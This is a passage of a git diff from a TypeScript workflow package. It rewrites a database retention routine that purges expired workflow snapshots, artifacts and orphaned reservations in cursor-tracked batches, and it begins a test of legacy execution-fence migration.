+  return `CASE WHEN ${scalars} AND (${size}) <= ${RETENTION_FRAGMENT_BYTES} THEN CASE WHEN length(CAST(${json} AS BLOB)) <= ${RETENTION_FRAGMENT_BYTES} THEN ${json} END END AS raw`;
+}
+
+function decodeRetentionReservationProjection(
+  row: Record<string, unknown>,
+  stage: StartReservationSchemaStage,
+): Record<string, unknown> | undefined {
+  if (row.raw === null) return undefined;
+  if (typeof row.raw !== 'string')
+    throw new Error('run retention reservation projection is malformed');
+  let raw: unknown;
+  try {
+    raw = JSON.parse(row.raw);
+  } catch {
+    throw new Error('run retention reservation projection is malformed');
+  }
+  const columns = START_IDEMPOTENCY_COLUMNS.slice(0, 10 + stage).map(
+    ([name]) => name,
+  );
+  if (
+    raw === null ||
+    typeof raw !== 'object' ||
+    Array.isArray(raw) ||
+    Object.keys(raw).length !== columns.length ||
+    columns.some((name) => !Object.hasOwn(raw, name)) ||
+    Object.values(raw).some(
+      (value) =>
+        value !== null &&
+        typeof value !== 'string' &&
+        typeof value !== 'number',
+    )
+  )
+    throw new Error('run retention reservation projection is malformed');
+  return raw as Record<string, unknown>;
+}
+
+function retentionOrphanGroup(
+  schema: RetentionSchema,
+  orphans: readonly RetentionOrphan[],
+  keyCutoff: number,
+): RetentionStatement[] {
+  const first = orphans[0];
+  if (!first || schema.stage === undefined)
+    throw new Error('run retention orphan group is empty');
+  const json = retentionSelectorJson(
+    orphans.map((orphan) => [
+      orphan.raw,
+      Array.isArray(orphan.observation) ? orphan.observation : null,
+    ]),
+  );
+  const columns = START_IDEMPOTENCY_COLUMNS.slice(0, 10 + schema.stage).map(
+    ([name]) => name,
+  );
+  const exact = columns
+    .map(
+      (name) =>
+        `r."${name}" COLLATE BINARY IS json_extract(c.value,'$[0].${name}')`,
+    )
+    .join(' AND ');
+  let guard: string;
+  let membership = '';
+  if (first.observation === 'legacy') {
+    membership = `, present(run_id) AS (${retentionMembership(schema.names, "SELECT json_extract(value,'$[0].run_id') FROM json_each(?4)")})`;
+    guard =
+      'NOT EXISTS (SELECT 1 FROM present WHERE run_id COLLATE BINARY=r.run_id COLLATE BINARY)';
+  } else if (first.observation === 'missing') guard = '1';
+  else {
+    const address = `s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0].start_workflow_id') AND s.run_id COLLATE BINARY=json_extract(c.value,'$[0].run_id')`;
+    guard =
+      first.observation === 'absent'
+        ? `NOT EXISTS (SELECT 1 FROM "${first.namespace}" s WHERE ${address})`
+        : `EXISTS (SELECT 1 FROM "${first.namespace}" s WHERE ${address} AND ${retentionOwnedEquality('$[1]')})`;
+  }
+  return [
+    retentionStatement(
+      `${RETENTION_SCHEMA_SQL} SELECT ok AS schema_ok FROM schema_ok`,
+      [...schema.bindings],
+    ),
+    retentionStatement(
+      `${RETENTION_SCHEMA_SQL}${membership} DELETE FROM "${schema.table}" AS r WHERE (SELECT ok FROM schema_ok)=1
+      AND r.state COLLATE BINARY='terminal' AND ${retentionFiniteExpiry('r.updated_at', '?5')}
+      AND EXISTS (SELECT 1 FROM json_each(?4) c WHERE ${exact} AND ${guard})`,
+      [...schema.bindings, json, keyCutoff],
+    ),
+  ];
+}
+
+function retentionOrphanPackets(
+  candidates: readonly RetentionOrphan[],
+): RetentionOrphan[][] {
+  const groups = new Map<string, RetentionOrphan[]>();
+  for (const candidate of candidates) {
+    const key = `${candidate.namespace ?? ''}/${typeof candidate.observation === 'string' ? candidate.observation : 'different'}`;
+    const group = groups.get(key) ?? [];
+    group.push(candidate);
+    groups.set(key, group);
+  }
+  const packets: RetentionOrphan[][] = [];
+  for (const group of groups.values()) {
+    let packet: RetentionOrphan[] = [];
+    let bytes = 2;
+    for (const candidate of group) {
+      const rowBytes = retentionEncoder.encode(
+        JSON.stringify([
+          candidate.raw,
+          Array.isArray(candidate.observation) ? candidate.observation : null,
+        ]),
+      ).length;
+      if (rowBytes + 2 > RETENTION_SELECTOR_BYTES)
+        throw new Error('run retention orphan selector exceeds byte budget');
+      if (
+        bytes + rowBytes + (packet.length ? 1 : 0) >
+        RETENTION_SELECTOR_BYTES
       ) {
-        throw error;
+        packets.push(packet);
+        packet = [];
+        bytes = 2;
       }
-      reservationsUnavailable = true;
-      return batch(build(false));
+      bytes += rowBytes + (packet.length ? 1 : 0);
+      packet.push(candidate);
     }
+    if (packet.length) packets.push(packet);
+  }
+  return packets;
+}
+
+/** Delete expired snapshots with durable, independent physical scan positions. */
+export async function purgeExpiredWorkflowRuns(
+  db: SnapshotDatabase & Required<Pick<SnapshotDatabase, 'batch'>>,
+  options: PurgeExpiredRunsOptions,
+): Promise<number> {
+  const {
+    ttlMs,
+    tablePrefix,
+    artifactStore,
+    resourceOwnerTable,
+    startIdempotencyTable,
+    startIdempotencyTtlMs,
+    limit: suppliedLimit,
+    now: suppliedNow,
+    cursor: suppliedCursor,
+    advanceCursor,
+  } = options;
+  const prepare = db.prepare;
+  const batch = db.batch;
+  const deleteRun = artifactStore?.deleteRun;
+  if (
+    typeof prepare !== 'function' ||
+    typeof batch !== 'function' ||
+    typeof advanceCursor !== 'function' ||
+    (artifactStore !== undefined && typeof deleteRun !== 'function')
+  )
+    throw new Error(
+      'purgeExpiredWorkflowRuns requires database.batch(), advanceCursor and a valid artifact callback',
+    );
+  const captured: RetentionDatabase = {
+    prepare: prepare.bind(db),
+    batch: batch.bind(db),
+  };
+  const deleteArtifacts = deleteRun?.bind(artifactStore);
+  const prefix = validateTablePrefix(tablePrefix)?.toLowerCase() ?? '';
+  const owner = retentionRegistry(resourceOwnerTable);
+  const registry = retentionRegistry(startIdempotencyTable);
+  let cursor = parseRunRetentionCursor(suppliedCursor);
+  if (
+    cursor &&
+    (cursor.tablePrefix !== prefix || cursor.startIdempotencyTable !== registry)
+  )
+    throw new Error('run retention cursor scope mismatch');
+  if (
+    !Number.isFinite(ttlMs) ||
+    ttlMs < 0 ||
+    (startIdempotencyTtlMs !== undefined &&
+      (!Number.isFinite(startIdempotencyTtlMs) || startIdempotencyTtlMs < 0))
+  )
+    throw new Error('run retention TTL must be finite and nonnegative');
+  if (
+    suppliedLimit !== undefined &&
+    (!Number.isSafeInteger(suppliedLimit) || suppliedLimit <= 0)
+  )
+    throw new Error('run retention limit must be a positive safe integer');
+  const limit = Math.min(suppliedLimit ?? RETENTION_PAGE, RETENTION_PAGE);
+  const nowFunction = suppliedNow === undefined ? Date.now : suppliedNow;
+  if (typeof nowFunction !== 'function')
+    throw new Error('run retention clock is invalid');
+  const now = nowFunction();
+  const keyCutoff = now - Math.max(ttlMs, startIdempotencyTtlMs ?? ttlMs);
+  const snapshotCutoff = now - ttlMs;
+  if (
+    !Number.isFinite(now) ||
+    !Number.isFinite(keyCutoff) ||
+    !Number.isFinite(snapshotCutoff)
+  )
+    throw new Error('run retention cutoff is invalid');
+  const cutoff = new Date(snapshotCutoff).toISOString();
+  if (!/^\d{4}-/.test(cutoff))
+    throw new Error('run retention cutoff must have a four-digit ISO year');
+  const table = `${prefix}${RETENTION_SUFFIX}`;
+  let schema = await observeRunRetentionSchema(captured, registry);
+  let schemaRetryUsed = false;
+  let deleted = 0;
+  const failures: string[] = [];
+  const reportedSkips = new Set<string>();
+  const reportUnsupported = (
+    kind: 'snapshot' | 'legacy-snapshot' | 'reservation' | 'orphan-snapshot',
+  ): void => {
+    if (reportedSkips.has(kind)) return;
+    reportedSkips.add(kind);
+    console.warn(
+      JSON.stringify({ type: 'run-retention-skip', kind, tablePrefix: prefix }),
+    );
   };
-  const sweepOrphanedStartReservations = async (): Promise<void> => {
-    if (!startIdempotencyTable || reservationsUnavailable) return;
+  const knownSkip = (error: unknown) => {
+    if (failures.length >= 8) return;
+    let message = 'unreadable error';
     try {
-      await db
-        .prepare(
-          `DELETE FROM ${startIdempotencyTable}
-           WHERE rowid IN (
-             SELECT r.rowid FROM ${startIdempotencyTable} AS r
-             WHERE r.state = 'terminal' AND r.updated_at < ?
-               AND NOT EXISTS (
-                 SELECT 1 FROM ${prefix}mastra_workflow_snapshot AS s
-                 WHERE s.run_id = r.run_id
-               )
-             LIMIT ?
-           )`,
-        )
-        .bind(reservationCutoff, options.limit ?? 1000)
-        .run();
-    } catch (error) {
-      // Either table may legitimately not exist yet: the reservation table is
-      // created by the first reserve() and the snapshot table by the first run.
-      // Neither absence is a fault, and neither leaves anything to reap.
-      if (
-        isMissingTable(error, startIdempotencyTable) ||
-        isMissingTable(error, `${prefix}mastra_workflow_snapshot`)
-      ) {
-        return;
+      message = errorMessageOf(error).slice(0, 256);
+    } catch {}
+    failures.push(message);
+  };
+  const refresh = async () => {
+    if (schemaRetryUsed)
+      throw new Error('run retention schema changed repeatedly');
+    schemaRetryUsed = true;
+    schema = await observeRunRetentionSchema(captured, registry);
+  };
+  const execute = async (
+    build: () => RetentionStatement[],
+    onRetry?: () => Promise<void>,
+  ): Promise<number> => {
+    for (;;) {
+      const statements = build();
+      let result: unknown;
+      try {
+        const prepared = statements.map((statement) =>
+          prepareRetentionStatement(captured, statement),
+        );
+        result = await captured.batch(prepared);
+      } catch (error) {
+        let missing = false;
+        try {
+          missing = [...schema.names, ...(registry ? [registry] : [])].some(
+            (name) => missingTableReadsEmpty(error, name),
+          );
+        } catch {}
+        if (!missing) throw error;
+        const previous = JSON.stringify(schema.bindings);
+        await refresh();
+        if (JSON.stringify(schema.bindings) === previous) throw error;
+        if (onRetry) await onRetry();
+        continue;
       }
-      throw error;
+      const outcome = retentionBatchResult(result, statements.length);
+      if (outcome.schemaOk) return outcome.deleted;
+      await refresh();
+      if (onRetry) await onRetry();
     }
   };
-
-  if (options.artifactStore) {
-    // Artifact-paired path, run by run: artifacts BEFORE the row, because
-    // the row is the only record of the run's artifact keys — dying between
-    // the two leaves the row for the next sweep (deleteRun is idempotent),
-    // while row-first would strand the artifacts forever. Each deleted row
-    // is durable progress: a mid-pass crash or the LIMIT batch cap resumes
-    // at the survivors on the next firing, and per-run failures are
-    // isolated below so one wedged run cannot stall the rows behind it.
-    let rows: Array<{ workflow_name: string; run_id: string }>;
+  const advance = async (
+    component: 'snapshots' | 'reservations',
+    position: RunRetentionScanPosition | undefined,
+  ) => {
+    const next = {
+      version: 1 as const,
+      tablePrefix: prefix,
+      ...(registry === undefined ? {} : { startIdempotencyTable: registry }),
+      ...cursor,
+    };
+    delete next[component];
+    if (position) next[component] = position;
+    cursor = Object.freeze(next);
+    await advanceCursor(cursor);
+  };
+  const snapshotGroup = (
+    selectors: readonly RetentionSelector[],
+    raw?: RawWorkflowSnapshot,
+  ) =>
+    retentionSnapshotGroup(
+      schema,
+      table,
+      owner,
+      selectors,
+      raw,
+      cutoff,
+      keyCutoff,
+      now,
+    );
+  const artifacts = async (workflowId: string, runId: string) => {
     try {
-      ({ results: rows } = await db
-        .prepare(
-          `SELECT workflow_name, run_id
-           FROM ${prefix}mastra_workflow_snapshot
-           WHERE ${eligible}
-           LIMIT ?`,
-        )
-        .bind(cutoff, ...RUN_TERMINAL_STATUSES, options.limit ?? 100)
-        .all<{ workflow_name: string; run_id: string }>());
+      await deleteArtifacts?.(workflowId, runId);
+      return true;
     } catch (error) {
-      if (!isMissingTable(error, `${prefix}mastra_workflow_snapshot`))
-        throw error;
-      return 0;
+      knownSkip(error);
+      return false;
     }
-    let deleted = 0;
-    const failures: Array<{ run: string; message: string }> = [];
-    for (const row of rows) {
+  };
+  if (schema.names.includes(table)) {
+    const page = decodeRetentionPage(
+      await prepareRetentionStatement(
+        captured,
+        retentionPageStatement(
+          table,
+          cursor?.snapshots,
+          limit,
+          `CASE WHEN length(s.workflow_name)<=200 THEN s.workflow_name END AS workflow_name,
+       CASE WHEN length(s.run_id)<=200 THEN s.run_id END AS run_id,
+       s.updatedAt COLLATE BINARY < ?4 AND CASE WHEN json_valid(s.snapshot) THEN (${retentionTerminalSql(5)}) ELSE 0 END AS eligible,
+       ${retentionOwnedProjection()}`,
+          [cutoff, ...RUN_TERMINAL_STATUSES],
+        ),
+      ).all(),
+      cursor?.snapshots,
+      limit,
+    );
+    const modern: RetentionSelector[] = [];
+    for (const row of page.rows) {
+      if (
+        !Object.hasOwn(row, 'eligible') ||
+        ![0, 1, null].includes(row.eligible as number | null)
+      )
+        throw new Error('run retention eligibility projection is malformed');
+      if (row.eligible !== 1) continue;
+      const candidate = decodeRunRetentionCandidate(row, prefix);
+      if (candidate === undefined) {
+        reportUnsupported('snapshot');
+        continue;
+      }
+      if (candidate !== 'legacy') {
+        modern.push(candidate);
+        continue;
+      }
+      const address = {
+        tablePrefix: prefix,
+        workflowId: row.workflow_name as string,
+        runId: row.run_id as string,
+      };
+      const read = prepareRawWorkflowSnapshotRead(captured, address);
+      const result = await read.statement.all();
+      const rawRows = snapshotResultRows(result);
+      if (
+        rawRows.length > 1 ||
+        rawRows.some((row) =>
+          [
+            'workflow_name',
+            'run_id',
+            'resourceId',
+            'snapshot',
+            'createdAt',
+            'updatedAt',
+          ].some((key) => !Object.hasOwn(row, key)),
+        )
+      )
+        throw new Error('run retention raw snapshot result is malformed');
+      let raw: RawWorkflowSnapshot | undefined;
       try {
-        await options.artifactStore.deleteRun(row.workflow_name, row.run_id);
-      } catch (error) {
-        // Isolate per run: aborting the
-        // loop would re-hit this run at the same scan position every firing
-        // and stall every eligible row behind it forever. Its row survives
-        // as its own retry cursor; the aggregate throw below keeps the
-        // purge duty's error surface firing. A wedged run does occupy a batch
-        // slot until fixed, so isolation holds while wedged runs number
-        // fewer than `limit`.
-        failures.push({
-          run: `${row.workflow_name}/${row.run_id}`,
-          message: errorMessageOf(error),
-        });
+        raw = decodeRawWorkflowSnapshotResult(result, read.address);
+        if (!raw || raw.updatedAt >= cutoff) continue;
+        const snapshot = JSON.parse(raw.snapshot);
+        const cleanupCompletedAt =
+          snapshot.requestContext?.['flowsafe.runLifecycle']?.terminal
+            ?.cleanupCompletedAt;
+        if (
+          decodeRunStartIdentity(
+            snapshot.requestContext?.['flowsafe.runProvenance'],
+          ) !== undefined ||
+          !RUN_TERMINAL_STATUSES.includes(snapshot.status) ||
+          ((snapshot.status === 'cancelled' ||
+            snapshot.status === 'timed_out') &&
+            (!Number.isSafeInteger(cleanupCompletedAt) ||
+              cleanupCompletedAt < 0))
+        )
+          continue;
+      } catch {
+        reportUnsupported('legacy-snapshot');
         continue;
       }
-      // Re-checking eligibility keys the delete to the row the SELECT saw;
-      // terminal is absorbing, so this is belt-and-braces, not a race fix.
-      //
-      // A FACTORY, not one prepared statement: D1 statements are single-use
-      // once run, and `runPurgeBatch` re-prepares its whole batch when the
-      // reservation table turns out not to exist. Written once so the batch and
-      // non-batch paths cannot drift onto different delete predicates.
-      const deleteSnapshot = (): SnapshotStatement =>
-        db
-          .prepare(
-            `DELETE FROM ${prefix}mastra_workflow_snapshot
-             WHERE workflow_name = ? AND run_id = ? AND ${eligible}`,
-          )
-          .bind(
-            row.workflow_name,
-            row.run_id,
-            cutoff,
-            ...RUN_TERMINAL_STATUSES,
-          );
-      if (batch) {
-        const [result] = await runPurgeBatch((withReservations) => [
-          deleteSnapshot(),
-          ...(resourceOwnerTable
-            ? [
-                db
-                  .prepare(
-                    `DELETE FROM ${resourceOwnerTable}
-               WHERE resource_kind = 'run' AND resource_id = ?
-                 AND NOT EXISTS (
-                   SELECT 1 FROM ${prefix}mastra_workflow_snapshot
-                   WHERE run_id = ?
-                 )`,
-                  )
-                  .bind(row.run_id, row.run_id),
-              ]
-            : []),
-          ...(withReservations ? reservationStatements([row.run_id]) : []),
-        ]);
-        deleted += d1Changes(result);
-      } else {
-        deleted += d1Changes(await deleteSnapshot().run());
+      const selectors: RetentionSelector[] = [
+        [address.workflowId, address.runId, [], null],
+      ];
+      snapshotGroup(selectors, raw);
+      if (await artifacts(address.workflowId, address.runId)) {
+        const count = await execute(() => snapshotGroup(selectors, raw));
+        if (schema.names.includes(table)) deleted += count;
       }
     }
-    await sweepOrphanedStartReservations();
-    if (failures.length > 0) {
-      throw new Error(
-        `purgeExpiredWorkflowRuns: artifact deletion failed for ${failures.length} of ${rows.length} eligible run(s), the rest were purged (${failures
-          .map((failure) => `${failure.run}: ${failure.message}`)
-          .join('; ')})`,
-      );
+    if (modern.length > 0) {
+      snapshotGroup(modern);
+      const ready: RetentionSelector[] = [];
+      for (const candidate of modern)
+        if (await artifacts(candidate[0], candidate[1])) ready.push(candidate);
+      if (ready.length > 0) {
+        const count = await execute(() => snapshotGroup(ready));
+        if (schema.names.includes(table)) deleted += count;
+      }
     }
-    return deleted;
-  }
+    await advance('snapshots', page.position);
+  } else await advance('snapshots', undefined);
 
-  // Row-only path: LIMIT-batched like the artifact path, but against D1's
-  // per-QUERY budget rather than the subrequest cap (it stays one statement
-  // per firing whatever the batch size, hence the larger default). An
-  // unbounded DELETE over a huge first backlog can exceed the per-query
-  // limits and then fail the same way on EVERY firing — retention silently
-  // unenforced, the exact wedge the one-duty-per-alarm split exists to avoid. The
-  // shrinking eligible set is the cursor: a backlog drains across firings.
-  let deleted: number;
-  try {
-    if (batch) {
-      // D1 accepts at most 100 bound parameters per statement. Keep the exact
-      // rowid + owner-id transaction below under that limit even when a caller
-      // requests a larger generic purge batch.
-      const limit = Math.min(options.limit ?? 1000, 90);
-      const selected = await db
-        .prepare(
-          `SELECT rowid, run_id
-           FROM ${prefix}mastra_workflow_snapshot
-           WHERE ${eligible}
-           LIMIT ?`,
+  const classifyOrphans = async (
+    raws: Record<string, unknown>[],
+  ): Promise<RetentionOrphan[]> => {
+    const orphans: RetentionOrphan[] = [];
+    const grouped = new Map<string, Record<string, unknown>[]>();
+    if (schema.stage === undefined) return orphans;
+    for (const raw of raws) {
+      try {
+        let row = reservationFromRow(raw, schema.stage);
+        if (row.state !== 'terminal' || row.updatedAt >= keyCutoff) continue;
+        if (row.binding.kind === 'legacy') {
+          orphans.push({ raw, observation: 'legacy' });
+          continue;
+        }
+        row = admissionReservationFromRow(raw, schema.stage);
+        if (
+          row.binding.kind !== 'bound' ||
+          row.binding.execution.tablePrefix === null
         )
-        .bind(cutoff, ...RUN_TERMINAL_STATUSES, limit)
-        .all<{ rowid: number; run_id: string }>();
-      if (selected.results.length === 0) {
-        // No eligible run this pass, but reservations left behind by EARLIER
-        // passes still age out — so the orphan sweep runs before the return.
-        await sweepOrphanedStartReservations();
-        return 0;
+          continue;
+        const namespace = `${row.binding.execution.tablePrefix}${RETENTION_SUFFIX}`;
+        if (!schema.names.includes(namespace)) {
+          orphans.push({ raw, namespace, observation: 'missing' });
+          continue;
+        }
+        const values = grouped.get(namespace) ?? [];
+        values.push(raw);
+        grouped.set(namespace, values);
+      } catch {
+        reportUnsupported('reservation');
       }
-      const rowIds = selected.results.map((row) => row.rowid);
-      const runIds = [...new Set(selected.results.map((row) => row.run_id))];
-      const rowPlaceholders = rowIds.map(() => '?').join(', ');
-      const runPlaceholders = runIds.map(() => '?').join(', ');
-      const [result] = await runPurgeBatch((withReservations) => [
-        db
-          .prepare(
-            `DELETE FROM ${prefix}mastra_workflow_snapshot
-             WHERE rowid IN (${rowPlaceholders}) AND ${eligible}`,
-          )
-          .bind(...rowIds, cutoff, ...RUN_TERMINAL_STATUSES),
-        ...(resourceOwnerTable
-          ? [
-              db
-                .prepare(
-                  `DELETE FROM ${resourceOwnerTable}
-             WHERE resource_kind = 'run'
-               AND resource_id IN (${runPlaceholders})
-               AND resource_id NOT IN (
-                 SELECT run_id FROM ${prefix}mastra_workflow_snapshot
-               )`,
-                )
-                .bind(...runIds),
-            ]
-          : []),
-        ...(withReservations ? reservationStatements(runIds) : []),
-      ]);
-      deleted = d1Changes(result);
-    } else {
-      deleted = d1Changes(
-        await db
-          .prepare(
-            `DELETE FROM ${prefix}mastra_workflow_snapshot
-           WHERE rowid IN (
-             SELECT rowid FROM ${prefix}mastra_workflow_snapshot
-             WHERE ${eligible}
-             LIMIT ?
-           )`,
+    }
+    for (const [namespace, values] of grouped) {
+      const selectors = retentionSelectorJson(
+        values.map((raw) => [raw.start_workflow_id, raw.run_id]),
+      );
+      const rows = snapshotResultRows(
+        await prepareRetentionStatement(
+          captured,
+          retentionStatement(
+            `SELECT c.key AS candidate, s.rowid AS present,
+        json_extract(c.value,'$[0]') AS workflow_name, json_extract(c.value,'$[1]') AS run_id, ${retentionOwnedProjection()}
+        FROM json_each(?1) c LEFT JOIN "${namespace}" s ON s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0]')
+        AND s.run_id COLLATE BINARY=json_extract(c.value,'$[1]') ORDER BY c.key`,
+            [selectors],
+          ),
+        ).all(),
+      );
+      if (rows.length !== values.length)
+        throw new Error('run retention orphan observation is malformed');
+      for (const [index, row] of rows.entries()) {
+        if (row.candidate !== index || !Object.hasOwn(row, 'present'))
+          throw new Error('run retention orphan observation is malformed');
+        const raw = values[index];
+        if (!raw) throw new Error('run retention orphan candidate is missing');
+        if (
+          row.workflow_name !== raw.start_workflow_id ||
+          row.run_id !== raw.run_id
+        )
+          throw new Error('run retention orphan address is malformed');
+        if (
+          row.present !== null &&
+          (typeof row.present !== 'number' ||
+            !Number.isSafeInteger(row.present))
+        )
+          throw new Error('run retention orphan rowid is malformed');
+        const decoded = decodeRunRetentionCandidate(
+          row,
+          namespace.slice(0, -RETENTION_SUFFIX.length),
+        );
+        if (row.present === null) {
+          orphans.push({ raw, namespace, observation: 'absent' });
+          continue;
+        }
+        if (decoded === undefined) reportUnsupported('orphan-snapshot');
+        if (
+          decoded &&
+          decoded !== 'legacy' &&
+          typeof decoded[2][1] === 'string' &&
+          JSON.parse(decoded[2][1]) !== raw.start_token
+        )
+          orphans.push({ raw, namespace, observation: decoded[2] });
+      }
+    }
+    return orphans;
+  };
+  if (schema.stage !== undefined && registry !== undefined) {
+    const page = decodeRetentionPage(
+      await prepareRetentionStatement(
+        captured,
+        retentionPageStatement(
+          registry,
+          cursor?.reservations,
+          limit,
+          retentionReservationProjection(schema.stage),
+        ),
+      ).all(),
+      cursor?.reservations,
+      limit,
+    );
+    const raws: Record<string, unknown>[] = [];
+    for (const row of page.rows) {
+      const raw = decodeRetentionReservationProjection(row, schema.stage);
+      if (raw === undefined) {
+        reportUnsupported('reservation');
+        continue;
+      }
+      raws.push(raw);
+    }
+    const candidates = await classifyOrphans(raws);
+    for (const initial of retentionOrphanPackets(candidates)) {
+      let pending = initial;
+      const retry = async () => {
+        if (schema.stage === undefined) {
+          pending = [];
+          return;
+        }
+        const keys = retentionSelectorJson(
+          initial.map((candidate) => candidate.raw.key),
+        );
+        const rows = snapshotResultRows(
+          await prepareRetentionStatement(
+            captured,
+            retentionStatement(
+              `SELECT ${retentionReservationProjection(schema.stage)}
+          FROM "${registry}" s WHERE s.key COLLATE BINARY IN (SELECT value FROM json_each(?1)) LIMIT ?2`,
+              [keys, limit + 1],
+            ),
+          ).all(),
+        );
+        if (rows.length > initial.length)
+          throw new Error('run retention orphan retry is ambiguous');
+        const unchanged: Record<string, unknown>[] = [];
+        for (const row of rows) {
+          const raw = decodeRetentionReservationProjection(row, schema.stage);
+          if (raw === undefined) {
+            reportUnsupported('reservation');
+            continue;
+          }
+          const prior = initial.find(
+            (candidate) => candidate.raw.key === raw.key,
+          )?.raw;
+          if (
+            prior &&
+            Object.entries(prior).every(
+              ([key, value]) => Object.hasOwn(raw, key) && raw[key] === value,
+            ) &&
+            Object.entries(raw).every(
+              ([key, value]) => Object.hasOwn(prior, key) || value === null,
+            )
           )
-          .bind(cutoff, ...RUN_TERMINAL_STATUSES, options.limit ?? 1000)
-          .run(),
+            unchanged.push(raw);
+        }
+        pending = await classifyOrphans(unchanged);
+      };
+      await execute(
+        () => [
+          retentionStatement(
+            `${RETENTION_SCHEMA_SQL} SELECT ok AS schema_ok FROM schema_ok`,
+            [...schema.bindings],
+          ),
+          ...retentionOrphanPackets(pending).flatMap((packet) =>
+            retentionOrphanGroup(schema, packet, keyCutoff).slice(1),
+          ),
+        ],
+        retry,
       );
     }
-  } catch (error) {
-    if (!isMissingTable(error, `${prefix}mastra_workflow_snapshot`))
-      throw error;
-    return 0;
-  }
-  await sweepOrphanedStartReservations();
+    await advance('reservations', page.position);
+  } else await advance('reservations', undefined);
+  if (failures.length > 0)
+    throw new Error(
+      `purgeExpiredWorkflowRuns: artifact deletion failed (${failures.join('; ')})`,
+    );
   return deleted;
 }
 
@@ -1217,9 +2010,8 @@ export interface PurgeExpiredNotificationsOptions {
  * rows from `mastra_notifications` once their `updatedAt` is older than the TTL,
  * at the storage layer so alarm maintenance reaps them without a live agent —
  * the same posture as the other purges (raw D1 binding, failure-isolated duty).
- * `updatedAt` is ISO-8601 TEXT, so lexicographic `<` is a correct timestamp
- * comparison. A missing table reads as zero (notifications may never have been
- * sent). Scheduling stays with the caller.
+ * A missing table reads as zero (notifications may never have been sent).
+ * Scheduling stays with the caller.
  */
 export async function purgeExpiredNotifications(
   db: SnapshotDatabase,
@@ -1227,14 +2019,14 @@ export async function purgeExpiredNotifications(
 ): Promise<number> {
   const prefix = validateTablePrefix(options.tablePrefix) ?? '';
   const now = options.now ?? Date.now;
-  const cutoff = new Date(now() - options.ttlMs).toISOString();
+  const cutoff = notificationTimestampMillis(new Date(now() - options.ttlMs));
   const placeholders = NOTIFICATION_TERMINAL_STATUSES.map(() => '?').join(', ');
   try {
     return d1Changes(
       await db
         .prepare(
           `DELETE FROM ${prefix}mastra_notifications
-           WHERE status IN (${placeholders}) AND updatedAt < ?`,
+           WHERE status IN (${placeholders}) AND ${notificationTimestampSql('updatedAt')} < ?`,
         )
         .bind(...NOTIFICATION_TERMINAL_STATUSES, cutoff)
         .run(),
@@ -1371,7 +2163,11 @@ export function d1Changes(result: unknown): number {
 }
 
 function errorMessageOf(error: unknown): string {
-  return error instanceof Error ? error.message : String(error);
+  try {
+    return String(error instanceof Error ? error.message : error);
+  } catch {
+    return 'unreadable error';
+  }
 }
 
 /**
diff --git a/packages/flowsafe/src/do-runner/deployment-identity.test.ts b/packages/flowsafe/src/do-runner/deployment-identity.test.ts
index 9e9800f2..c54970ff 100644
--- a/packages/flowsafe/src/do-runner/deployment-identity.test.ts
+++ b/packages/flowsafe/src/do-runner/deployment-identity.test.ts
@@ -1,8 +1,9 @@
 // SPDX-License-Identifier: Apache-2.0
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
 import {
   DEPLOYMENT_SENTINEL_DDL,
+  EXECUTION_FENCE_DDL,
   EXECUTION_FENCE_ROW_ID,
   EXECUTION_FENCE_TABLE,
 } from '#deployment-identity-protocol';
@@ -24,6 +25,10 @@ import {
   verifyDurableObjectDeploymentIdentity,
   verifyDurableObjectDeploymentRequest,
 } from './deployment-identity.js';
+import {
+  type ExecutionFenceDatabase,
+  ExecutionFenceStore,
+} from './execution-fence.js';
 
 const DEPLOYMENT_IDENTITY_SECRET = 'test-deployment-identity-secret-0001';
 
@@ -57,6 +62,192 @@ function interceptSentinelRead(
 }
 
 describe('deployment identity provisioning', () => {
+  const legacyFenceDdl = `CREATE TABLE flowsafe_execution_fence (
+    id TEXT PRIMARY KEY CHECK (id = 'deployment'),
+    state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')),
+    proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL
+  )`;
+
+  it('migrates a legacy fence identically through runtime and CLI executors', async () => {
+    const { provisionDeploymentIdentity } = await vi.importActual<{
+      provisionDeploymentIdentity(
+        options: {
+          database: string;
+          tag: string;
+          target: string;
+          initialFenceState: string;
+        },
+        query: (sql: string) => Promise<unknown[]>,
+      ): Promise<void>;
+    }>('../../scripts/seed-deployment-identity.mjs');
+    const runtimeSqlite = openSqlite();
+    const cliSqlite = openSqlite();
+    for (const sqlite of [runtimeSqlite, cliSqlite]) {
+      sqlite.exec(legacyFenceDdl);
+      sqlite.exec(
+        `INSERT INTO ${EXECUTION_FENCE_TABLE} VALUES ('deployment', 'draining', 'legacy key', 'legacy run', 17)`,
+      );
+    }
+    await seedDeploymentIdentity(
+      sqliteUnitDatabase(runtimeSqlite) as DeploymentIdentityDatabase,
+      'acme',
+      'open',
+    );
+    await provisionDeploymentIdentity(
+      {
+        database: 'database',
+        tag: 'acme',
+        target: '--local',
+        initialFenceState: 'open',
+      },
+      async (sql: string) => cliSqlite.prepare(sql).all(),
+    );
+    expect(
+      runtimeSqlite
+        .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`)
+        .all(),
+    ).toEqual(
+      cliSqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(),
+    );
+    const expected = [
+      {
+        id: 'deployment',
+        state: 'draining',
+        proof_key: 'legacy key',
+        proof_run_id: 'legacy run',
+        updated_at: 17,
+        last_transition_request: null,
+        transition_revision: 0,
+        mutation_epoch: 0,
+        require_mutation_epoch: 0,
+        proof_table_prefix: null,
+        proof_workflow_id: null,
+        proof_start_token: null,
+      },
+    ];
+    expect(
+      runtimeSqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(),
+    ).toEqual(expected);
+    expect(
+      cliSqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(),
+    ).toEqual(expected);
+  });
+
+  it('does not seed a new-format row from a stale legacy-empty observation', async () => {
+    const sqlite = openSqlite();
+    sqlite.exec(legacyFenceDdl);
+    const original = sqliteUnitDatabase(sqlite) as DeploymentIdentityDatabase;
+    const db: DeploymentIdentityDatabase = {
+      prepare(sql) {
+        const prepared = original.prepare(sql);
+        if (!sql.startsWith(`INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}`))
+          return prepared;
+        let bound = prepared;
+        const statement: DeploymentIdentityStatement = {
+          bind(...values) {
+            bound = prepared.bind(...values);
+            return statement;
+          },
